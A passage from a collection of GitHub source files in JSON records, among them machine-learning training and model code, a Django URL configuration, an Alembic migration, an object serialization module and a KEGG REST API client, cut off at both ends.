2. / 2.).mean()\n# self.gamma * ((E_data**2).mean() + (E_model**2).mean())\n metric_epoch['loss_p'] += loss.detach()\n metric_epoch['E_data'] += E_data.mean().detach()\n metric_epoch['E_model'] += E_model.mean().detach()\n return loss, metric_epoch\n \ndef main(args):\n set_seed(args.seed)\n device = torch.device(args.device)\n exp_name = create_exp_name(args)\n\n dataset_args = {'data': args.data, \n 'num_shots': -1,\n 'batch_size': args.batch_size,\n 'train': True if not args.no_digit else None, \n 'normalize': True if args.likelihood==\"gaussian\" else False}\n \n train_loader, im_h, im_w, im_channels = setup_data_loader(**dataset_args)\n \n network_args = {'device': device,\n 'im_height': im_h, \n 'im_width': im_w, \n 'input_channels': im_channels, \n 'channels': eval(args.channels), \n 'kernels': eval(args.kernels), \n 'strides': eval(args.strides), \n 'paddings': eval(args.paddings),\n 'hidden_dims': eval(args.hidden_dims),\n 'latent_dim': args.latent_dim,\n 'activation': args.activation,\n 'xee_init_sigma': args.xee_init_sigma,\n 'leak_slope': args.leak_slope,\n 'gen_channels': eval(args.gen_channels), \n 'gen_kernels': eval(args.gen_kernels), \n 'gen_strides': eval(args.gen_strides), \n 'gen_paddings': eval(args.gen_paddings),\n 'gen_activation': args.gen_activation,\n 'likelihood': args.likelihood,\n }\n \n models = init_models(args.model_name, device, network_args)\n \n print('Start Training..')\n trainer_args = {'models': models,\n 'train_loader': train_loader,\n 'num_epochs': args.num_epochs,\n 'device': device,\n 'exp_name': exp_name,\n 'args': args,}\n trainer = Train_VERA(**trainer_args)\n trainer.train()\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--model_name', default='VERA', choices=['VERA'])\n parser.add_argument('--seed', default=1, type=int)\n parser.add_argument('--device', default='cpu')\n parser.add_argument('--exp_id', default=None, type=str)\n ## data config\n parser.add_argument('--data', default='grassymnist', choices=['mnist', 'fashionmnist', 'flowermnist', 'grassymnist'])\n parser.add_argument('--img_sigma', default=1e-2, type=float)\n parser.add_argument('--no_digit', default=False, action='store_true')\n ## optim config\n parser.add_argument('--beta1', default=0., type=float)\n parser.add_argument('--beta2', default=0.9, type=float)\n parser.add_argument('--lr_p', default=5e-5, type=float)\n parser.add_argument('--lr_q', default=2e-4, type=float)\n parser.add_argument('--lr_xee', default=2e-4, type=float)\n parser.add_argument('--xee_init_sigma', default=0.1, type=float)\n parser.add_argument('--lambda_ent', default=1.0, type=float,\n help=\"coefficient of grad entropy w.r.t. q_phi\")\n parser.add_argument('--gamma', default=0.1, type=float, \n help=\"coefficient of regularization of the grad E_data\")\n parser.add_argument(\"--decay_epochs\", nargs=\"+\", type=float, default=[160, 180],\n help=\"decay learning rate by decay_rate at these epochs\")\n parser.add_argument(\"--decay_rate\", type=float, default=.3,\n help=\"learning rate decay multiplier\")\n parser.add_argument('--warmup_iters', default=0, type=int)\n parser.add_argument('--max_x_sigma', default=0.3, type=float)\n parser.add_argument('--min_x_sigma', default=0.01, type=float)\n ## arch config \n parser.add_argument('--channels', default=\"[32,32,64,64]\")\n parser.add_argument('--kernels', default=\"[3,4,4,4]\")\n parser.add_argument('--strides', default=\"[1,2,2,2]\")\n parser.add_argument('--paddings', default=\"[1,1,1,1]\")\n parser.add_argument('--hidden_dims', default=\"[256]\")\n parser.add_argument('--latent_dim', default=128, type=int)\n parser.add_argument('--activation', default='SiLU')\n parser.add_argument('--leak_slope', default=0.2, type=float, help='parameter for LeakyReLU activation')\n parser.add_argument('--gen_kernels', default=\"[4,4,3,4,4]\")\n parser.add_argument('--gen_channels', default=\"[64,64,32,32,1]\") \n parser.add_argument('--gen_strides', default=\"[1,2,2,2,2]\")\n parser.add_argument('--gen_paddings', default=\"[1,1,1,1,1]\") \n parser.add_argument('--gen_activation', default='ReLU')\n parser.add_argument('--likelihood', default='gaussian', choices=['gaussian', 'cb'])\n ## training config\n parser.add_argument('--num_epochs', default=200, type=int)\n parser.add_argument('--batch_size', default=128, type=int)\n parser.add_argument('--sample_size', default=20, type=int)\n return parser.parse_args()\n\nif __name__== \"__main__\":\n args = parse_args()\n main(args)\n","repo_name":"hao-w/conebm","sub_path":"conebm/train/train_vera.py","file_name":"train_vera.py","file_ext":"py","file_size_in_byte":11103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"26125940021","text":"import torch\nfrom typing import Union, List, Tuple, Dict\nfrom clustering_tool.datapipeline import ResultComputer\nfrom clustering_tool.embedders.bert import bert_cls_embeddings\nfrom transformers import BertTokenizer, BertModel, BertForMaskedLM\n\nclass Tokenizer:\n def __call__(self, *inputs, **kwargs) -> Union[Tuple, Dict[str, object]]:\n return self.tokenize(*inputs, **kwargs)\n\n def tokenize(self, text, **kwargs) -> Union[torch.Tensor, Tuple[torch.Tensor], Dict[str, torch.Tensor]]:\n raise NotImplementedError\n\nclass MyBertTokenizer:\n def __init__(self, bert_tokenizer: BertTokenizer, max_len: int, target_device):\n super(MyBertTokenizer, self).__init__()\n\n self.bert_tokenizer = bert_tokenizer\n self.max_len = max_len\n self.device = target_device\n\n def tokenize(self, text):\n tokens = self.tokenizer.encode_plus(text, add_special_tokens=True, return_attention_mask=True,\n return_tensors='pt', max_length=self.max_len, pad_to_max_length=True)\n tokens = {k: v.to(self.device) for k, v in tokens.items()}\n return tokens\n\n\nclass TokenizerOutputsComputer(ResultComputer):\n def __init__(self, tokenizer: Tokenizer, text_key: str):\n '''\n\n :param tokenizer:\n :param text_key: key of text in dataset if dataset with dictionary samples\n '''\n super(TokenizerOutputsComputer, self).__init__()\n\n self.tokenizer = tokenizer\n self.text_key = text_key\n\n def compute(self, dependencies: Dict[str, object]):\n dataset = dependencies['dataset']\n\n result = []\n for sample in dataset:\n if isinstance(sample, dict):\n text = dataset[self.text_key]\n elif isinstance(sample, list):\n text = dataset[0]\n else:\n text = sample\n tokenizer_outputs = self.tokenizer(text)\n result.append(tokenizer_outputs)\n\n return result\n\n\nclass Embedder:\n def __call__(self, *args, **kwargs):\n return self.embed(*args, **kwargs)\n\n def embed(self, tokenizer_output: Union[torch.Tensor, Tuple[torch.Tensor], Dict[str, torch.Tensor]]):\n raise NotImplementedError\n\nclass MyBertEmbedder(Embedder):\n def __init__(self, bert_model: BertModel):\n super(MyBertEmbedder, self).__init__()\n\n self.bert_model = bert_model\n\n def embed(self, tokenizer_output: Union[torch.Tensor, Tuple[torch.Tensor], Dict[str, torch.Tensor]]):\n if isinstance(tokenizer_output, dict):\n embedded_text = self.embedder(**tokenizer_output)\n elif isinstance(tokenizer_output, list):\n embedded_text = self.embedder(*tokenizer_output)\n else:\n embedded_text = self.embedder(tokenizer_output)\n\n embedded_text = embedded_text.squeeze(0) # zero dimension is 1\n\n return embedded_text\n\n\nclass TextEmbeddingsComputer(ResultComputer):\n def __init__(self, embedder: Embedder):\n super(TextEmbeddingsComputer, self).__init__()\n self.embedder = embedder\n\n def compute(self, dependencies: Dict[str, object]):\n tokenizer_outputs_list = dependencies['tokenizer_output']\n result = []\n for tokenizer_outputs in tokenizer_outputs_list:\n result.append(self.embedder(tokenizer_outputs))\n\n return result\n\n\n","repo_name":"Lesha17/DeepClusteringFramework","sub_path":"clustering_tool/text_embedders.py","file_name":"text_embedders.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"29004471361","text":"\"\"\"add_column_fwd_to_users_table\n\nRevision ID: b05cd437b16b\nRevises: ea22811b1f04\nCreate Date: 2022-02-04 18:21:52.499640\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b05cd437b16b'\ndown_revision = 'ea22811b1f04'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('users', sa.Column('fwd', sa.DATE(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('users', 'fwd')\n # ### end Alembic commands ###\n","repo_name":"tolstoyevsky/meeseeks","sub_path":"apps/happy_birthder/alembic/versions/b05cd437b16b_add_column_fwd_to_users_table.py","file_name":"b05cd437b16b_add_column_fwd_to_users_table.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"7888000787","text":"from django.urls import include, path\nfrom django.contrib.auth import views as auth_views\nfrom . import views\n\napp_name = 'browse'\nurlpatterns = [\n path('', views.index, name='index'),\n path('authors/', views.authors, name=\"authors\"),\n path('authors//', views.author, name=\"author\"),\n path('categories/', views.categories, name=\"categories\"),\n path('categories//', views.category, name=\"category\"),\n path('formats/', views.formats, name=\"formats\"),\n path('formats//', views.format, name=\"format\"),\n path('books//', views.book, name=\"book\"),\n path('books//borrow/', views.borrow, name=\"borrow\"),\n path('accounts/register/', views.register, name=\"register\"),\n path('accounts/registered/', views.registered, name='registered'),\n path('accounts/login/', views.my_login, name='login'),\n path('accounts/logged/', views.logged, name='logged'),\n path('accounts/logout/', views.my_logout, name='logout'),\n path('accounts/profile/', views.profile, name='profile'),\n path('accounts/goback//', views.goback, name='goback'),\n]\n","repo_name":"maxprzy/bibliotheque_django","sub_path":"browse/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"43385910666","text":"import plotly.graph_objects as go\nimport pandas as pd\n\nlegend = {\n True: 'Blue',\n False: 'Red'\n }\n\ndef seasonalBar(data, monoTrends_label):\n '''\n Seasonal Bars, color coded and labeled based on if implying good or bad\n \n '''\n\n label = data > 0\n\n bars = []\n # Display Trends\n for monoTrends in range(0,len(data)):\n bars += [go.Bar( x=[ monoTrends_label[monoTrends] ], y=[ data[monoTrends] ], marker={'color': legend[label[monoTrends]]}, name=\"\") ]\n fig = go.FigureWidget(data=bars)\n fig.update(layout_showlegend=False)\n\n return fig","repo_name":"Stunn-Inc/Demo-product","sub_path":"src/utils/seasonalTrends.py","file_name":"seasonalTrends.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"38342295256","text":"import numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass SemanticDecoupling(nn.Module):\n\n def __init__(self, classNum, imgFeatureDim, wordFeatureDim, intermediaDim=1024):\n \n super(SemanticDecoupling, self).__init__()\n\n self.classNum = classNum\n self.imgFeatureDim = imgFeatureDim\n self.wordFeatureDim = wordFeatureDim\n self.intermediaDim = intermediaDim\n\n self.fc1 = nn.Linear(self.imgFeatureDim, self.intermediaDim, bias=False)\n self.fc2 = nn.Linear(self.wordFeatureDim, self.intermediaDim, bias=False)\n self.fc3 = nn.Linear(self.intermediaDim, self.intermediaDim)\n self.fc4 = nn.Linear(self.intermediaDim, 1)\n\n def forward(self, imgFeaturemap, wordFeatures, visualize=False):\n '''\n Shape of imgFeaturemap : (BatchSize, Channel, imgSize, imgSize)\n Shape of wordFeatures : (classNum, wordFeatureDim)\n '''\n\n BatchSize, imgSize = imgFeaturemap.size()[0], imgFeaturemap.size()[3]\n imgFeaturemap = torch.transpose(torch.transpose(imgFeaturemap, 1, 2), 2, 3) # BatchSize * imgSize * imgSize * Channel\n \n imgFeature = imgFeaturemap.contiguous().view(BatchSize * imgSize * imgSize, -1) # (BatchSize * imgSize * imgSize) * Channel\n imgFeature = self.fc1(imgFeature).view(BatchSize * imgSize * imgSize, 1, -1).repeat(1, self.classNum, 1) # (BatchSize * imgSize * imgSize) * classNum * intermediaDim\n wordFeature = self.fc2(wordFeatures).view(1, self.classNum, self.intermediaDim).repeat(BatchSize * imgSize * imgSize, 1, 1) # (BatchSize * imgSize * imgSize) * classNum * intermediaDim\n feature = self.fc3(torch.tanh(imgFeature * wordFeature).view(-1, self.intermediaDim)) # (BatchSize * imgSize * imgSize * classNum) * intermediaDim\n \n Coefficient = self.fc4(feature) # (BatchSize * imgSize * imgSize * classNum) * 1\n Coefficient = torch.transpose(torch.transpose(Coefficient.view(BatchSize, imgSize, imgSize, self.classNum), 2, 3), 1, 2).view(BatchSize, self.classNum, -1)\n Coefficient = F.softmax(Coefficient, dim=2) # BatchSize * classNum * (imgSize * imgSize))\n Coefficient = Coefficient.view(BatchSize, self.classNum, imgSize, imgSize) # BatchSize * classNum * imgSize * imgSize\n Coefficient = torch.transpose(torch.transpose(Coefficient, 1, 2), 2, 3) # BatchSize * imgSize * imgSize * classNum\n Coefficient = Coefficient.view(BatchSize, imgSize, imgSize, self.classNum, 1).repeat(1, 1, 1, 1, self.imgFeatureDim) # BatchSize * imgSize * imgSize * classNum * imgFeatureDim\n\n featuremapWithCoefficient = imgFeaturemap.view(BatchSize, imgSize, imgSize, 1, self.imgFeatureDim).repeat(1, 1, 1, self.classNum, 1) * Coefficient # BatchSize * imgSize * imgSize * classNum * imgFeatureDim\n semanticFeature = torch.sum(torch.sum(featuremapWithCoefficient, 1), 1) # BatchSize * classNum * imgFeatureDim\n\n if visualize:\n return semanticFeature, torch.sum(torch.abs(featuremapWithCoefficient), 4), Coefficient[:,:,:,:,0]\n return semanticFeature, featuremapWithCoefficient, Coefficient[:,:,:,:,0]\n\n\n","repo_name":"HCPLab-SYSU/HCP-MLR-PL","sub_path":"model/SemanticDecoupling.py","file_name":"SemanticDecoupling.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"36"} +{"seq_id":"14108052884","text":"import tensorflow as tf\nimport numpy as np\nimport os\nfrom p2m.config import execute\nimport pickle\n# from utils.dataloader import DataFetcher\nimport utils.tools as tools\n# from utils.visualize import plot_scatter\nimport p2m.GCN as GCN\nfrom p2m.config import *\nfrom utils.dataloader import *\nfrom p2m.losses import *\ndef main(cfg):\n physical_devices = tf.config.list_physical_devices('GPU')\n try:\n tf.config.experimental.set_memory_growth(physical_devices[0], True)\n except:\n # Invalid device or cannot modify virtual devices once initialized.\n pass\n os.environ['CUDA_VISIBLE_DEVICES'] = str(cfg.gpu_id)\n # ---------------------------------------------------------------\n # Load init ellipsoid and info about vertices and edges\n \n # Construct Feed dict\n print('=> pre-processing:参数初始化ing')\n # ---------------------------------------------------------------\n #num_blocks = 3\n #num_supports = 2\n #name: 'coarse_mvp2m'\n #save_path: 'results'\n root_dir = os.path.join(cfg.save_path, cfg.name)\n print(cfg.save_path)\n model_dir = os.path.join(cfg.save_path, cfg.name, 'models')\n log_dir = os.path.join(cfg.save_path, cfg.name, 'logs')\n plt_dir = os.path.join(cfg.save_path, cfg.name, 'plt')\n if not os.path.exists(root_dir):\n os.makedirs(root_dir)\n print('==> make root dir {}'.format(root_dir))\n if not os.path.exists(model_dir):\n os.makedirs(model_dir)\n print('==> make model dir {}'.format(model_dir))\n if not os.path.exists(log_dir):\n os.makedirs(log_dir)\n print('==> make log dir {}'.format(log_dir))\n if not os.path.exists(plt_dir):\n os.makedirs(plt_dir)\n print('==> make plt dir {}'.format(plt_dir))\n train_loss = open('{}/train_loss_record.txt'.format(log_dir), 'a')\n train_loss.write('Net {} | Start training | lr = {}\\n'.format(cfg.name, cfg.lr))\n\n\n #data_loading\n print(\"=> data loading:数据加载ing\") \n # --------------------------------------------------------------- \n # Load init ellipsoid and info about vertices and edges\n pkl = pickle.load(open('data/iccv_p2mpp.dat', 'rb'))\n # Construct Feed dict\n edges,faces,features,support1,support2,support3,pool_idx,lape_idx,faces_triangle,sample_adj,sample_coord = tools.construct_feed_dict(pkl)\n num_features_nonzero = None\n dropout = 0\n # --------------------------------------------------------------- \n #Define model\n print(\"=> model loading:模型加载ing\") \n #数据类型转换为Tensor类型! \n features = tf.convert_to_tensor(features,dtype=tf.float32)\n pre_train = False\n if pre_train == True :\n model=tf.keras.models.load_model('/workspace/3D/tf2_gcn-main/results/coarse_mvp2m/models/20200222model')\n else:\n model = GCN.GCN_model(placeholders_features=features,num_features_nonzero=num_features_nonzero,placeholder_dropout=dropout,\n pool_idx=pool_idx,args=cfg,support1=support1,support2=support2,support3=support3,lape_idx=lape_idx,edges = edges,faces_triangle=faces_triangle)\n model.load_weights('/workspace/3D/tf2_gcn-main/results/coarse_mvp2m/models/20200223model_weights_epoch/1')\n print('=> build model complete')\n print('=> start demo ')\n # -------------------------------------------------------------------\n # ---------------------------------------------------------------\n \n print('=> load data')\n demo_img_list = ['data/demo/plane1.png',\n 'data/demo/plane2.png',\n 'data/demo/plane3.png']\n \n img_all_view = tools.load_demo_image(demo_img_list)\n cameras = np.loadtxt('data/demo/cameras.txt')\n \n\n img_with_cameras = {}\n img_with_cameras.update({'img_all_view':img_all_view}) \n img_with_cameras.update({'cameras':cameras}) \n output1,output2,output3,output1_2,output2_2,trainable_variables= model(img_with_cameras)\n #loss = get_loss(output1,output2,output3,output1_2,output2_2,features,trainable_variables,labels,edges,faces_triangle,lape_idx)\n vert = output3\n vert = np.hstack((np.full([vert.shape[0],1], 'v'), vert))\n face = np.loadtxt('data/face3.obj', dtype='|S32')\n mesh = np.vstack((vert, face))\n\n pred_path = 'data/demo/predict.obj'\n np.savetxt(pred_path, mesh, fmt='%s', delimiter=' ')\n\n print('=> save to {}'.format(pred_path))\n\nif __name__ == '__main__':\n print('=> set config')\n yaml_path = 'cfgs/mvp2m.yaml'\n args=execute(yaml_path)\n # pprint.pprint(vars(args))\n main(args)\n","repo_name":"yannqi/Pixel2Mesh-Tensorflow2","sub_path":"demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"36"} +{"seq_id":"37876709967","text":"import sys\nimport collections\n\ntry:\n import ujson as json\nexcept ImportError:\n import json\n\n\ndef serialize(obj, no_dump=False):\n \"\"\"\n Serialize an object.\n\n Returns a dict containing an `_error` property if a MemoryError happens during the\n object serialization. See #369.\n\n :param obj: the object to serialize\n :type obj: fusionsupervision.objects.item.Item | dict | list | str\n :param no_dump: if True return dict, otherwise return a json\n :type no_dump: bool\n :return: dict or json dumps dict with the following structure ::\n\n {'__sys_python_module__': \"%s.%s\" % (o_cls.__module__, o_cls.__name__)\n 'content' : obj.serialize()}\n :rtype: dict | str\n \"\"\"\n # print(\"Serialize (%s): %s\" % (no_dump, obj))\n\n if hasattr(obj, \"serialize\") and isinstance(obj.serialize, collections.Callable):\n o_dict = {\n '__sys_python_module__': \"%s.%s\" % (obj.__class__.__module__, obj.__class__.__name__),\n 'content': obj.serialize()\n }\n\n elif isinstance(obj, dict):\n o_dict = {}\n for key, value in list(obj.items()):\n o_dict[key] = serialize(value, True)\n\n elif isinstance(obj, (list, set)):\n o_dict = [serialize(item, True) for item in obj]\n\n else:\n o_dict = obj\n\n if no_dump:\n return o_dict\n\n result = None\n try:\n result = json.dumps(o_dict, ensure_ascii=False)\n except MemoryError:\n return {'_error': 'Not enough memory on this computer to correctly manage FusionSupervision Engine '\n 'objects serialization! '\n 'Sorry for this, please log an issue in the project repository.'}\n\n return result\n\n\ndef unserialize(j_obj, no_load=False):\n \"\"\"\n Un-serialize object. If we have __sys_python_module__ we try to safely get the fusionsupervision class\n Then we re-instantiate the fusionsupervision object\n\n :param j_obj: json object, dict\n :type j_obj: str (before loads)\n :param no_load: if True, j_obj is a dict, otherwise it's a json and need loads it\n :type no_load: bool\n :return: un-serialized object\n \"\"\"\n if not j_obj:\n return j_obj\n # print(\"Unserialize (%s): %s\" % (no_load, j_obj))\n\n if no_load:\n data = j_obj\n else:\n data = json.loads(j_obj)\n\n if isinstance(data, dict):\n if '__sys_python_module__' in data:\n cls = get_fusionsupervision_class(data['__sys_python_module__'])\n # Awful hack for external commands ... need to be refactored!\n if data['__sys_python_module__'] in ['fusionsupervision.external_command.ExternalCommand']:\n return cls(data['content']['cmd_line'], data['content']['creation_timestamp'])\n\n return cls(data['content'], parsing=False)\n\n data_dict = {}\n for key, value in list(data.items()):\n data_dict[key] = unserialize(value, True)\n return data_dict\n\n if isinstance(data, list):\n return [unserialize(item, True) for item in data]\n\n return data\n\n\ndef get_fusionsupervision_class(python_path):\n \"\"\" Get the fusionsupervision class the in safest way I could imagine.\n Return None if (cumulative conditions) ::\n\n * the module does not start with fusionsupervision\n * above is false and the module is not is sys.modules\n * above is false and the module does not have the wanted class\n * above is false and the class in not a ClassType\n\n :param python_path:\n :type python_path: str\n :return: fusionsupervision class\n :raise FusionsupervisionClassLookupException\n \"\"\"\n a_module, a_class = python_path.rsplit('.', 1)\n\n if not a_module.startswith('fusionsupervision'): # pragma: no cover - should never happen!\n raise FusionsupervisionClassLookupException(\"Can't recreate object in module: %s. \"\n \"Not an FusionSupervision Engine module\" % a_module)\n\n if a_module not in sys.modules: # pragma: no cover - should never happen!\n raise FusionsupervisionClassLookupException(\"Can't recreate object in unknown module: %s. \"\n \"No such FusionSupervision Engine module. FusionSupervision Engine versions may mismatch\" %\n a_module)\n\n pymodule = sys.modules[a_module]\n\n if not hasattr(pymodule, a_class): # pragma: no cover - should never happen!\n raise FusionsupervisionClassLookupException(\"Can't recreate object %s in %s module. \"\n \"Module does not have this attribute. \"\n \"FusionSupervision Engine versions may mismatch\" % (a_class, a_module))\n\n # Awful hack for external commands ... need to be refactored!\n if a_class not in ['ExternalCommand']:\n if not isinstance(getattr(pymodule, a_class), type): # pragma: no cover - protection\n raise FusionsupervisionClassLookupException(\"Can't recreate object %s in %s module. \"\n \"This type is not a class\" % (a_class, a_module))\n\n return getattr(pymodule, a_class)\n\n\nclass FusionsupervisionClassLookupException(Exception):\n \"\"\"Class for exceptions occurring in get_fusionsupervision_class from fusionsupervision.misc.serialization\n\n \"\"\"\n pass\n","repo_name":"fusionsupervision/fusionsupervision-engine","sub_path":"fusionsupervision/misc/serialization.py","file_name":"serialization.py","file_ext":"py","file_size_in_byte":5343,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"74588532583","text":"# coding=utf-8\n\"\"\"\nThis class is for Kegg REST api\nKEGG is a database resource for understanding high-level functions and\nutilities of the biological system, such as the cell, the organism and the\necosystem, from molecular-level information, especially large-scale molecular\ndatasets generated by genome sequencing and other high-throughput experimental\ntechnologies (See Release notes for new and updated features).\nDocumentation : http://www.kegg.jp/kegg/rest/keggapi.html\n\nKEGG Databases Names and Abbreviations\n-------------------------------------------\n\nHere is a list of databases used in KEGG API with their name and abbreviation:\n\n===================================================================================\nDatabase Name Abbrev kid Remark\n===================================================================================\nKEGG PATHWAY \tpathway \tpath \t map number\nKEGG BRITE \t brite \t br \t br number\nKEGG MODULE \tmodule \t md \t M number\nKEGG ORTHOLOGY \torthology \tko \t K number\nKEGG GENOME \tgenome \t genome \t T number\nKEGG GENOMES \tgenomes \tgn \t T number \t Composite database: genome+egenome+mgenome\nKEGG GENES \t genes \t - \t - \t Composite database: consisting of KEGG organisms\nKEGG LIGAND \tligand \t ligand \t - \t Composite database: compound+glycan+reaction+rpair+rclass+enzyme\nKEGG COMPOUND \tcompound \tcpd \t C number \t Japanese version: compound_ja cpd_ja\nKEGG GLYCAN \tglycan \t gl \t G number\nKEGG REACTION \treaction \trn \t R number\nKEGG RPAIR \t rpair \t rp \t RP number\nKEGG RCLASS \trclass \t rc \t RC number\nKEGG ENZYME \tenzyme \t ec \t -\nKEGG DISEASE \tdisease \tds \t H number \t Japanese version: disease_ja ds_ja\nKEGG DRUG \t drug \t dr \t D number \t Japanese version: drug_ja dr_ja\nKEGG DGOUP \t dgroup \t dg \t DG number \t Japanese version: dgroup_ja dg_ja\nKEGG ENVIRON \tenviron \tev \t E number \t Japanese version: environ_ja ev_ja\n===================================================================================\n\n\n\n\"\"\"\n\n__author__ = \"Arnaud KOPP\"\n__copyright__ = \"© 2015-2016 KOPP Arnaud All Rights Reserved\"\n__credits__ = [\"KOPP Arnaud\"]\n__license__ = \"GNU GPL V3.0\"\n__maintainer__ = \"Arnaud KOPP\"\n__email__ = \"kopp.arnaud@gmail.com\"\n__status__ = \"Production\"\n\nimport webbrowser\nimport collections\nimport logging\nfrom BioREST.Service import REST\n\nlog = logging.getLogger(__name__)\n\n\nclass KEGG(REST):\n \"\"\"\n Interface to Kegg REST api\n\n This class provides an interface to the KEGG REST API. The weblink tools\n are partially accesible. All dbentries can be parsed into dictionaries using\n the :class:`KEGGParser`\n\n \"\"\"\n\n def __init__(self):\n super(KEGG, self).__init__(name=\"KEGG\", url=\"http://rest.kegg.jp\")\n self.easyXMLConversion = False\n self._organism = None\n self._organisms = None\n self._pathway = None\n self._glycan = None\n self._compound = None\n self._ko = None\n self._enzyme = None\n self._reaction = None\n self._brite = None\n self._buffer = {}\n\n def __getattr__(self, req):\n if req.endswith(\"Ids\"):\n db = req[0:-3]\n res = self.list(db)\n if db in [\",\"]:\n ids = [x.split()[1] for x in res.split(\"\\n\") if len(x)]\n else:\n ids = [x.split()[0] for x in res.split(\"\\n\") if len(x)]\n return ids\n elif req in self.databases:\n res = self.list(req)\n return res\n\n def code_to_tnumber(self, code):\n \"\"\"\n Converts organism code to its T number\n\n :param code: code to convert\n \"\"\"\n index = self.organismIds.index(code)\n return self.organismTnumbers[index]\n\n def tnumber_to_code(self, tnumber):\n \"\"\"\n Converts organism T number to its code\n\n :param tnumber: code to convert\n \"\"\"\n index = self.organismTnumbers.index(tnumber)\n return self.organismIds[index]\n\n def is_organism(self, org_id):\n \"\"\"\n Check if orgId is a Kegg organism\n\n :param org_id: orgranism id to check\n \"\"\"\n if org_id in self.organismIds:\n return True\n if org_id in self.organismTnumbers:\n return True\n else:\n return False\n\n def info(self, query=\"kegg\"):\n \"\"\"\n Display current statistics of given database or organism\n\n :param query: can be one of database: kegg (default), brite, module,\n disease, drug, environ, ko, genome, compound, glycan, reaction,\n rpair, rclass, enzyme, genomes, genes, ligand or any organismID\n\n \"\"\"\n _valid_databases = [\"pathway\", \"brite\", \"module\", \"ko\", \"genome\", \"compound\", \"glycan\", \"reaction\", \"rpair\",\n \"rclass\", \"enzyme\", \"disease\", \"drug\", \"dgroup\", \"environ\", \"genomes\", \"genes\", \"ligand\",\n \"kegg\"]\n\n if query not in _valid_databases and not self.is_organism(query):\n raise ValueError('Database provided not available for this operation')\n url = \"info/\" + query\n res = self.http_get(url, frmt=\"txt\")\n return res\n\n def list(self, query, organism=None):\n \"\"\"\n Returns a list of entry identifiers and associated definition for a given database or a given set of\n database entries\n\n :param query:can be one of pathway, brite, module,\n disease, drug, environ, ko, genome, compound,\n glycan, reaction, rpair, rclass, enzyme, organism\n **or** an organism from the :attr:`organismIds` attribute **or** a valid\n dbentry (see below). If a dbentry query is provided, organism\n should not be used!\n :param organism: a valid organism identifier that can be\n provided. If so, database can be only \"pathway\" or \"module\". If\n not provided, the default value is chosen (:attr:`organism`)\n :return: A string with a structure that depends on the query\n\n Note, however, that there are convenient aliases to some of the databases.\n For instance, the pathway Ids can also be retrieved as a list from the\n :attr:`pathwayIds` attribute (after defining the :attr:`organism` attribute).\n\n note:: If you set the query to a valid organism, then the second\n argument rganism is irrelevant and ignored.\n\n note:: If the query is not a database or an organism, it is supposed\n to be a valid dbentries string and the maximum number of entries is 100.\n\n \"\"\"\n _valid_databases = [\"pathway\", \"brite\", \"module\", \"ko\", \"genome\", \"compound\", \"glycan\", \"reaction\", \"rpair\",\n \"rclass\", \"enzyme\", \"disease\", \"drug\", \"dgroup\", \"environ\", 'organism']\n if query not in _valid_databases and not self.is_organism(query):\n log.warning(\"Not a database and not a orgID, hop for you that it's a valid ID.\")\n\n url = \"list\"\n if query:\n url += \"/\" + query\n\n if organism:\n if organism not in self.organismIds:\n raise Exception(\n \"Not a valid organism Invalid organism provided (%s). See the organismIds attribute\" % organism)\n if query not in [\"pathway\", \"module\"]:\n log.error(\"\"\"If organism is set, then the first argument (database) must be either 'pathway' or\n 'module', you provided %s\"\"\" % query)\n url += \"/\" + organism\n\n res = self.http_get(url, \"txt\")\n return res\n\n def find(self, database, query, option=None):\n \"\"\"\n finds entries with matching query keywords or other query data in a given database\n\n :param str database: can be one of pathway, module, disease, drug,\n environ, ko, genome, compound, glycan, reaction, rpair, rclass,\n enzyme, genes, ligand or an organism code or T number .\n :param str query: keywords\n :param str option: If option provided, database can be only 'compound'\n or 'drug'. Option can be 'formula', 'exact_mass' or 'mol_weight'\n\n note:: Keyword search against brite is not supported. Use /list/brite to\n retrieve a short list.\n\n \"\"\"\n _valid_databases = [\"pathway\", \"module\", \"ko\", \"genome\", \"compound\", \"glycan\", \"reaction\", \"rpair\",\n \"rclass\", \"enzyme\", \"disease\", \"drug\", \"dgroup\", \"environ\", \"genes\", \"ligand\"]\n\n isOrg = self.is_organism(database)\n if database not in _valid_databases and isOrg is False:\n raise ValueError('Database provided not available for this operation')\n\n _valid_options = ['formula', \"exact_mass\", \"mol_weight\"]\n _valid_db_options = [\"compound\", \"drug\"]\n\n url = \"find/\" + database + \"/\" + query\n\n if option:\n if database not in _valid_db_options:\n raise ValueError(\n \"Invalid database. Since option was provided, database must be in {}\".format(_valid_db_options))\n if option not in _valid_options:\n raise ValueError(\"Invalid option. Must be in {}\".format(_valid_options))\n url += \"/\" + option\n\n res = self.http_get(url, frmt=\"txt\")\n return res\n\n def get(self, dbentries, option=None):\n \"\"\"\n Retrieves given database entrie\n :param dbentries: KEGG database entries involving the following\n database: pathway, brite, module, disease, drug, environ, ko, genome\n compound, glycan, reaction, rpair, rclass, enzyme **or** any organism\n using the KEGG organism code (see :attr:`organismIds`\n attributes) or T number (see :attr:`organismTnumbers` attribute).\n :param option: aaseq, ntseq, mol, kcf, image, kgml\n\n 